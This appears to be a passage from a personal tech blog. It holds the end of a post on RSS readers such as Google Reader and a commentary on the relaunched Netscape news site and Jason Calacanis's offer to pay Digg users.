The other, newer breed are web applications that provide news aggregation. Currently, I’m using Google Reader, and am liking it. While it may not offer all the functionality of a regular software client, I like the fact that I can access it from any computer, and it’s fairly fast. Subscribing to feeds is also very easy; you don’t even need to entire the correct feed URL. If you enter a website URL (such as http://unitstep.net), it will automatically see if there’s any feed URLs linked from the site, and will subscribe to them. The layout is also decent, and I haven’t had any problems with it. Google Reader even provides a feed of its own, so you can subscribe to this feed to view your aggregated feeds!

Other options include “widgets”, either for desktop widget engines such as the Yahoo! Widget Engine, or online widgets for portal sites such as Google’s “I Google”, or Microsoft’s new Live service. These allow you to view your feeds in small boxes of information that are part of a personalized home page. I don’t really use these types of sites all that much, but they can be useful to many so its worth a mention.

Your world, your information

So, in conclusion, get out there, and start feeding! It’s easier to read and absorb useful information when its already been stripped down to what you care about, and syndicated content is allowing that.

It started as a rumbling

Things heated up yesterday, when it was reported that many of the fans of the old Netscape were voicing dissent at the imposition of this new style of news that was more community-oriented. Many didn’t like the new format – they wanted a tried and true format such as the previous portal, where things tended to be more organized. To many people (especially Digg fans), this may seem weird, even somewhat backwards – but whatever it is, it’s the mainstream. Evidently the community-oriented web 2.0-style news site touted by many as revolutionary, is in the minority.

The outspoken leader of the new Netscape, Jason Calacanis, made a quick response, which was also editorially promoted on the Netscape website. (Editors there have a say on which stories get pinned to the top, unlike Digg, where apparently there are no editors.) Here’s a nice quote that summed up his feelings.

Look at it this way: if Geocities could change itself to MySpace before losing it’s marketshare to MySpace you would do that right?

Same thing here, we’re in the middle of paradigm shift from top-down control to bottom-up participation, and when you make a radical change like that you’re gonna get pushback. In fact, I’m really excited to see the pushback because it let’s me know we are on the right track.

Ah, one of the fabled promises and features of web 2.0 – user participation. For some applications this really has succeeded, such as Flickr, and of course, blogging. But what many fail to see is that these trends are not mainstream – not by any total measure. While Flickr certainly is popular, it is by no means the most popular photosharing service, despite offering many web 2.0 features considered by many (including myself) to be useful, time-saving, nifty, or otherwise cool. The same thing goes for blogging – while it seems like the blogosphere is huge, it by no means comprises a significant section of all online users.

Calacanis’ own statements didn’t seem to carry much weight when, soon after, he appeared to be calling for a truce, offering a “professional”, alternate version of the site for the old school crowd. And now, today, he is offering $1000 a month to users of Digg (and other social news sites) to come over to Netscape and post their links to stories/news items there instead.

Making money in the web 2.0 world

At first, such an offer seems absurd. But when you hear some people’s explanations, it makes sense – after all, they would be paid for doing a service, and what’s wrong with that? However, after more thinking, the idea does turn out to be absurd. The new Netscape and Digg are sites that are meant to be community-oriented; supposedly by the people, for the people. If some are getting paid, and some aren’t, that makes things very absurd. At the very least, Calacanis’ offer makes the new Netscape seem very desperate to gain popularity, which it apparently has had trouble doing.

The problem here stems from several factors. Firstly, Netscape entered the game way too late – they are attempting to gain an advantage in a niche market dominated by Digg, Delicious and others – and for many in this market, the idea of “editorial control” turns them off. They want something like Digg, that at the very least gives the impression of full control by the people.

Secondly, while they didn’t fully copy Digg, the parts they did change were not for the better. Besides the aforementioned editorial control, Netscape also aims to serve up stories from all topics, not just technology as the original Digg did. This doesn’t match up with the niche market that the new Netscape is attempting to gain entry into. If Digg users are any indication, the average user is extremely tech-saavy, meaning they’re interested in, you guessed it, tech-oriented news. Even after Digg added other categories besides tech news, tech news still dominates almost all of the news that makes the front page.

Thus, the new Netscape is effectively orphaned some where in between web 2.0 and mainstream, appealing to neither and garnering criticism from both – a sort of “worst of both worlds” situation. This has evidently manifested itself in its less than impressive traffic numbers, and the seemingly desperate actions of Jason Calacanis.

AOL bearing down?

The actions of Mr. Calacanis may not be due entirely to himself. As the guy behind the idea for the new Netscape, which must have been born out of AOL’s desire to increase their ad revenue, he’s facing much pressure to get his baby to produce and be successful. He may be worried about having to take the fall if the site fails. With all the resources of AOL, perhaps it’s no surprise that he’s throwing money in every direction trying to solve the problem.

I sort of feel sorry for him – I do believe him to be an intelligent person, but perhaps just a bit misguided and obviously under a lot of pressure from AOL to produce something popular. If there’s any lesson to be learned from this unfortunate situation, it’s that offering snazzy web 2.0 features does not mean your website will be successful or popular in the mainstream, because, well, web 2.0 just isn’t mainstream.